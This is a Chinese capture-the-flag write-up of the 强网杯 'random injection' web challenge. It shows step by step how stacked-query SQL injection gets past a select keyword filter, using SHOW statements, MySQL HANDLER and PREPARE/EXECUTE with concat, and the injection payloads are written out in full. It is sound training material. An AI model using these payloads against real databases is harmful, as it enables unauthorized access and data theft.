强网杯-Web-随便注
访问如下
应该是一个sql
注入,输入字符1a
判断注入是字符型还是数字型
被正常解析,代表这是一个字符型的注入
使用'
引号尝试闭合SQL语句
通过报错可以看出我们输入的1'
传入后,变为了'1''
,使用or '1'='1
进行闭合
这应该是当前表里面的所有内容,但是我们不知道当前的表明是什么,使用order by 3
最后判断字段数为2
尝试使用联合查询注入union select 1,2
这里使用preg_match
正则匹配输入的不能含有select|update|delete|drop|insert|where
。
这里我们还可以继续使用show
命令,尝试使用show
命令获取一些信息
由于SQL
语句中;
代表这个SQL语句的结束,我们可以使用select user();select version()
在一行执行两条sql语句
尝试获取当前数据库所有的数据库名inject=1';show databases;%23
虽然不知道当前所在的数据库,但是可以尝试获取当前数据库下面所有的表inject=1';show tables;%23
这里有两个表1919810931114514
、words
使用show columns from 表名
获取表中字段的名称
?inject=1';show columns from words%23
在查询1919810931114514
表的时候,我出现了一些问题,经过网上查找发现,mysql数字名称的表名需要使用`符号包裹起来才可以查看,创建的表的时候也是如此
尝试获取1919810931114514
表中的字段名
inject=1';show columns from `1919810931114514`%23
我们得知flag
就在当前数据库中的1919810931114514
表中的flag
字段中,如何查看呢?这是个问题,经过网上查找,找到了这个题目的很多方法,这里总结两个实用的方法
- 另一个查询语句
handler
- 使用
PREPARE
定义SQL
语句,然后使用EXEC
执行定义的SQL
语句
handler
是和select
作用类似的查询语句,只在mysql
中有,使用方法如下:
handler user open;
: 差不多可以理解为开始读取user
表的内容handler user read next;
: 开始读取user
表中第一行的内容,依此类推
使用该方法获取flag
?inject=1%27;handler `1919810931114514` open;handler `1919810931114514` read next;%23
另一种方法,由于select
语句被过滤,使用concat()
拼接
?inject=1%27;PREPARE test from concat('s','elect','* from `1919810931114514`');EXECUTE test;
运行的到flag